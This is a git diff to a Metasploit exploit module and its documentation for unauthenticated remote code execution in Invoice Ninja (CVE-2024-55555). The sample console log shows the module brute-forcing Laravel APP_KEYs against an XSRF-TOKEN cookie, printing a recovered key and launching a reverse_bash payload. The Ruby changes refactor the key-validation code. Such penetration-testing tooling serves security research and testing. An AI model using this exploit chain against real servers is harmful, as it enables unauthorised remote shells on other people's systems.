diff --git a/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md index 0ad54e5e86..dbefb273ab 100644 --- a/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md +++ b/documentation/modules/exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555.md @@ -82,7 +82,7 @@ msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit [*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie. [*] Grabbing the cookie with the XSRF-TOKEN. [*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt. -[+] Valid APP_KEY found: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= +[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= [+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO [*] Generate an encrypted serialization payload with our cracked APP_KEY. [*] Executing Unix/Linux Command for cmd/unix/reverse_bash diff --git a/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb index 2b0d640f49..91dc87b83e 100644 --- a/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb +++ b/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb @@ -127,29 +127,23 @@ class MetasploitModule < Msf::Exploit::Remote set_cookie = res.get_cookies fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil? xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/) - if xsrf_token.nil? - fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') - elsif datastore['BRUTEFORCE'] + fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil? + + if datastore['BRUTEFORCE'] key_file = datastore['BRUTEFORCE'] print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.") result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode) - if result.nil? - fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") - else - print_good("Valid APP_KEY found: #{result['key']}") - print_good("Unciphered value: #{result['value']}") - valid_app_key = result['key'] - end + fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil? + valid_app_key = result['key'] + unciphered_value = result['value'] else result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode) - if result.nil? - fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") - else - print_good("APP_KEY is valid: #{datastore['APP_KEY']}") - print_good("Unciphered value: #{result}") - valid_app_key = datastore['APP_KEY'] - end + fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil? + valid_app_key = datastore['APP_KEY'] + unciphered_value = result end + print_good("APP_KEY is valid: #{valid_app_key}") + print_good("Unciphered value: #{unciphered_value}") print_status('Generate an encrypted serialization payload with our cracked APP_KEY.') pl = payload.encoded